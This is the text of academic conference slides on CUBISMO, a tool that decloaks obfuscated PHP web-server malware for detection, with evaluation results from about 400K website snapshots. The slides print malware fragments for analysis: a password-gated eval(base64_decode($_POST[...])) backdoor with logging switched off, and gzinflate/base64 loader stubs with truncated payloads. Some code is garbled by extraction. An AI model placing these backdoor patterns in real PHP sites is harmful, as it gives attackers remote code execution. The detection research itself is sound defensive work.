CUBISMO: Decloaking Server-side Malware via Cubist Program Analysis

Abbas Naderi-Afooshteh, Yonghwi Kwon, Anh Nguyen-Tuong, Mandana Bagheri-Marzijarani, and Jack W. Davidson

University of Virginia
“Cubist art analyzes multiple aspects of an object, breaks them down, and reassembles them for presentation.”

Pablo Picasso, 1910
Girl with a Mandolin (Fanny Tellier)
oil on canvas, 100.3 x 73.6 cm
Museum of Modern Art, New York
Server-side (PHP) malware

(a) Normalized Program

```php
<?php
error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('display_errors','Off');
if(md5($_POST['pf']) === "...")
    eval(base64_decode($_POST['...']));
...
if($patchedfv === "...") {
    @ob_end_clean(); die;
}
...;
```

(b) Deobfuscated Program 1

```php
<?php
error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('display_errors','Off');
if(md5($_POST['pf']) === "...")
    eval(base64_decode($_POST['...']));
...
if($patchedfv === "...") {
    @ob_end_clean(); die;
}
...
```

(c) Deobfuscated Program 2

```php
<?php
error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('display_errors','Off');
if(md5($_POST['pf']) === "...")
    eval(base64_decode($_POST['...']));
...
```

CUBISMO, 2019
PHP Malware and Its Multiple Aspects,
Deobfuscation in PHP,
ACSAC’19
Multiple aspects of web server malware (i.e., PHP malware)

- PHP is a dynamic language, making web development easy, so as malware development
  1. Evasive Code
     - Decide whether to run or not, depending on the context
  2. Multiple Layers of Obfuscation via Dynamic Constructs
     - Use `eval` and `include` to dynamically generate/include code
     - Obfuscation is cheap and easy in PHP
  3. Automated Variant Generation
     - Creating variants of PHP malware is easy
Evasive and Multiple Layers of Obfuscation

eval($obfuscated_code) defines $filename, and include($filename) will update $obfuscated_code
1. Evasive

```php
if ($_GET[1]!=$password) {
    die("Nothing to see here.");
} else {
    if ($secret === "...") {
        include($filename);
    } else {
        eval($obfuscated_code);
    }
```
2. Multiple Layers of Obfuscation

```
if ( .. = $pass)
die("...");

if( $secret ... )
eval($obfus)
include($file)

for (...)
if ( $secret === "...") {
    include($filename);
}
else {
eval($obfuscate_code);
}
```

No deobfuscation
2. Multiple Layers of Obfuscation

```php
if ($_GET[1] != $password)
    die("Nothing to see here.");
for (...)
```
2. Multiple Layers of Obfuscation

```php
if ($_GET[1]!=$password)
    die("Nothing to see here.");
for (...)
    if ($secret === "...") {
        include($filename);
    } else {
        eval($obfuscated_code);
    }
```
3. Automated Malware Variant Generation

- Creating PHP malware variants is as simple as a string manipulation

```php
$s_pass = '4b34f78fbd220513438011562320d47f';
eval('?>'.$x);
```

(a) Original Malware

```
$s_pass = 'b4616d42a983401bdf3f4f9c18675777';
eval('?>'.$x);
```

(b) Malware Variant 1

```
$s_pass = '62908bf72c21a3d8eea23a55dec98e4b';
eval('?>'.$x);
```

(c) Malware Variant 2

```
$s_pass = '62908bf72c21a3d8eea23a55dec98e4b';
eval('?>'.$x);
```

(d) Malware Variant 3
3. Automated Malware Variant Generation

- Changing $s\_pass$

(a) Original Malware

```python
$s\_pass = '4b34f78fbd220513438011562320d47f';$
eval("x=gzi . nflate('base64'. 'decode('7b1pe+0415j80fM88x8U3XpT5cVXLV1RLKFEVt1L5qNvw/3Em3m7TufnvL0BSsmzLd1...+JDu+vgCe/m0F3+e7PpQzuf97sMvN0MIA7DsAeZPX/5/'));");
eval('?>'.$x);
```

(b) Malware Variant 1

```python
$s\_pass = 'b4616d42a983401bcf344f9c18675777';$
eval("x=gzi . nflate('base64'. 'decode('7b1pe+0415j80fM88x8U3XpT5cVXLV1RLKFEVt1L5qNvw/3Em3m7TufnvL0BSsmzLd1...+JDu+vgCe/m0F3+e7PpQzuf97sMvN0MIA7DsAeZPX/5/'));");
eval('?>'.$x);
```

(c) Malware Variant 2

```python
$s\_pass = '62908bf72c21a3d8eaa23a55dec98e4b';$
eval("x=gzi . nflate('base64'. 'decode('7b1pe+0415j80fM88x8U3XpT5cVXLV1RLKFEVt1L5qNvw/3Em3m7TufnvL0BSsmzLd1...+JDu+vgCe/m0F3+e7PpQzuf97sMvN0MIA7DsAeZPX/5/'));");
eval('?>'.$x);
```

(d) Malware Variant 3
3. Automated Malware Variant Generation

• "$x = \text{gzinflate(base64_decode)} \Rightarrow \text{"eval('x=gzip'.flate..."}"

(a) Original Malware
1 $\text{s\_pass} = '4b34f78fbd220513438011562320d47f';$
2 $x = \text{gzinflate(base64\_decode('7b1p}'$
$\text{e+0415j80fM88x8U3XpT5chVXLVLRIKFEVtIL5QnWv/3EmJm7Tu}$
$\text{fnvL0BSzmLd1...+JDlu+vGCe/m0F3+e7PpQzuf975sMYN0MIA7DsAeZ}$
$\text{PX/5/"'));}$
3 \text{eval('?>'.$x);}

(b) Malware Variant 1
10 $\text{s\_pass} = '4b34f78fbd220513438011562320d47f';$
11 \text{eval('x=gzip'.flate(base\_64\_decode('7b1p}$
$\text{e+0415j80fM88x8U3XpT5chVXLVLRIKFEVtIL5QnWv/3EmJm7Tu}$
$\text{fnvL0BSzmLd1...+JDlu+vGCe/m0F3+e7PpQzuf975sMYN0MIA7DsAeZ}$
$\text{PX/5/"'));');}$
12 \text{eval('?>'.$x);

(c) Malware Variant 2
20 $\text{s\_pass} = 'b4616d42a983401b0f344f9c18675777';$
21 \text{eval('x=gzil'.flate('se64\_decode('7b1p}$
$\text{e+0415j80fM88x8U3XpT5chVXLVLRIKFEVtIL5QnWv/3EmJm7Tu}$
$\text{fnvL0BSzmLd1...+JDlu+vGCe/m0F3+e7PpQzuf975sMYN0MIA7DsAeZ}$
$\text{PX/5/"'));');}$
22 \text{eval('?>'.$x);

(d) Malware Variant 3
30 $\text{s\_pass} = '62908bf72c21a3d8eaa23a55dec984eb';$
31 \text{eval('x=gzil'.flate('se64\_decode('7b1p}$
$\text{e+0415j80fM88x8U3XpT5chVXLVLRIKFEVtIL5QnWv/3EmJm7Tu}$
$\text{fnvL0BSzmLd1...+JDlu+vGCe/m0F3+e7PpQzuf975sMYN0MIA7DsAeZ}$
$\text{PX/5/"'));');}$
32 \text{eval('?>'.$x);
Overview: CUBISMO

(a) CUBISMO

Input (1 file)
PHP Program

CUBISMO

Output (N files)
Multiple Decoded PHP Programs

(b) Leveraging Existing Tools

Existing Malware Detectors

Detect Malware if at least 1 out of N files is flagged

Input

Normalization
Normalized Abstract Syntax Tree

CUBISMO
Counter-factual Execution

Code Generator
Decloacked ASTs

Output
Exposing Multiple Aspects of Malware

```
if ( .. = $pass)
    die("...");

Loop head

if ( $secret ... )
    include($file)
    eval($obfus)

1 if ($_GET[1]!=$password)
2     die("Nothing to see here.");
3 for (...)
4     if ($secret === "...") {
5         include($filename);
6     } else {
7         eval($obfuscated_code);
8     }
```
if ( .. == $pass) 
die("...");

Loop head

if ( $secret ... ) 

include($file) 

if ( $secret ... )

include($file) 
eval($obfusc)

1 if ($_GET[1]!= $password)
2 die("Nothing to see here.");
3 for (...)
4 if ($secret == "...") {
5 include($filename);
6 } else {
7 eval($obfuscated_code);
8 }
if( .. = $pass)

die("...");
More details in the paper

• **Counter-factual Execution.** Exploring hidden malicious paths and execution contexts.

• **Sharing Global Artifacts between Paths.** Facilitating discovery of new dynamic code generation dependent on global artifacts (e.g., global variables).

• **Sandboxing.** Preventing malicious programs from harming the host system.

and more...
Evaluation: Dataset Collection

• Real-world Website Deployments: 400K real-world website snapshots deployed in the wild (via CodeGuard).

• Nightly Backup: Every night, a website is backed up when maldet finds one or more malware. Multiple versions of a website can be backed up.
Evaluation: Numbers

• From 400K website snapshots (about 3M files)
• 700K files containing PHP code
• 1,269 files with dynamic constructs (potentially obfuscated)
  • 1,040 unique files.
• We scan them with VirusTotal: 688 files were detected.
• We manually analyze the remaining 352 files left undetected (with our previous work in CCS’19)
• Identified 56 previously undetected malware
• CUBISMO can reveal 53 out of the 56 malware samples
Evaluation: Methodology

• We use VirusTotal (as an existing tool in our pipeline)
  • We feed malware to CUBISMO that produces multiple decloaked files
  • (a) We feed the decloaked files to VT
  • (b) We also feed the original file to VT and then we compare (a) and (b)

• VirusTotal learns! and we consider that
  • After a few days of our submissions, VT starts to detect what they did not detect
  • Our experiments are less likely affected by this, because for each submission, we submit all the files generated from an original sample within a minute.
Evaluation: Why Though?

- Do Multiple Layers of Obfuscation Matter?
- Why not simply deobfuscate everything and then scan?

Naive Obfuscation

Advanced Obfuscation
Evaluation: Every Layer Matters

Original File
One decoder is observed

Code (Not obfuscated)
Decoder 1
Obfuscated Code 1

Deobfuscated File (First Layer)
Two decoders are observed

Code (Not obfuscated)
Decoder 1
Deobfuscated Code 1
Decoder 2
Obfuscated Code 2

Deobfuscated File (Second Layer)
One decoder is observed

Code (Not obfuscated)
Decoder 1
Deobfuscated Code 1

Removal of Decoder 2

Signature of Decoder 2
Anti-virus tools do not recognize this malware

Anti-virus tools flag this as malware by recognizing Decoder 2

Deobfuscation
Deobfuscation

Anti-virus tools do not recognize this malware
### Evaluation: Everything Matters

<table>
<thead>
<tr>
<th>Orig.</th>
<th>Norm.</th>
<th>Layer 1</th>
<th>Layer 2</th>
<th>Layer 3</th>
<th>Layer 4</th>
<th>Orig.</th>
<th>Norm.</th>
<th>Layer 1</th>
<th>Layer 2</th>
<th>Layer 3</th>
<th>Layer 4</th>
</tr>
</thead>
<tbody>
<tr>
<td>m1</td>
<td>0</td>
<td>1</td>
<td>2</td>
<td>-</td>
<td>-</td>
<td>m29</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>m2</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>m30</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>m3</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>-</td>
<td>-</td>
<td>m31</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>m4</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>-</td>
<td>-</td>
<td>m32</td>
<td>0</td>
<td>0</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>m5</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>-</td>
<td>m33</td>
<td>0</td>
<td>1</td>
<td>3</td>
<td>1</td>
<td>-</td>
</tr>
<tr>
<td>m6</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>-</td>
<td>-</td>
<td>m34</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>0</td>
</tr>
<tr>
<td>m7</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>-</td>
<td>m35</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>m8</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>-</td>
<td>-</td>
<td>m36</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>m9</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>-</td>
<td>-</td>
<td>m37</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>m10</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>-</td>
<td>-</td>
<td>m38</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>m11</td>
<td>0</td>
<td>0</td>
<td>3</td>
<td>1</td>
<td>-</td>
<td>m39</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>m12</td>
<td>0</td>
<td>0</td>
<td>4</td>
<td>-</td>
<td>-</td>
<td>m40</td>
<td>0</td>
<td>0</td>
<td>3</td>
<td>1</td>
<td>3</td>
</tr>
<tr>
<td>m13</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>-</td>
<td>-</td>
<td>m41</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>m14</td>
<td>0</td>
<td>1</td>
<td>3</td>
<td>1</td>
<td>-</td>
<td>m42</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>m15</td>
<td>0</td>
<td>0</td>
<td>4</td>
<td>-</td>
<td>-</td>
<td>m43</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>m16</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>-</td>
<td>m44</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>-</td>
</tr>
<tr>
<td>m17</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>-</td>
<td>m45</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>m18</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>-</td>
<td>-</td>
<td>m46</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>m19</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>-</td>
<td>-</td>
<td>m47</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>m20</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>m48</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>m21</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>5</td>
<td>-</td>
<td>m49</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>-</td>
</tr>
<tr>
<td>m22</td>
<td>0</td>
<td>0</td>
<td>2</td>
<td>2</td>
<td>-</td>
<td>m50</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>m23</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>-</td>
<td>-</td>
<td>m51</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>m24</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>-</td>
<td>-</td>
<td>m52</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>m25</td>
<td>0</td>
<td>0</td>
<td>3</td>
<td>-</td>
<td>-</td>
<td>m53</td>
<td>0</td>
<td>1</td>
<td>2</td>
<td>1</td>
<td>-</td>
</tr>
<tr>
<td>m26</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>-</td>
<td>m54</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>m27</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>-</td>
<td>m55</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>m28</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>-</td>
<td>-</td>
<td>m56</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>-</td>
<td>-</td>
</tr>
</tbody>
</table>
Evaluation: Details

• **False positive**: We test 100 benign PHP files with obfuscations (they do that to protect their code) and 200 benign PHP files from benign PHP applications.

• **Performance**: Decloaking process will be adding ~130% runtime overhead. We can parallelize the technique to improve the performance. Details in paper.

• And more in the paper.
Limitations

- Normalization would miss malicious code hidden in comments.
Thanks!

• CUBISMO is publicly available:  
  https://cubismo.s3.amazonaws.com/cubismo.html

• Sponsors:
  • AFRL (FA8750-17-S-7007)
  • NSF (1916499 and 1850392)
  • CodeGuard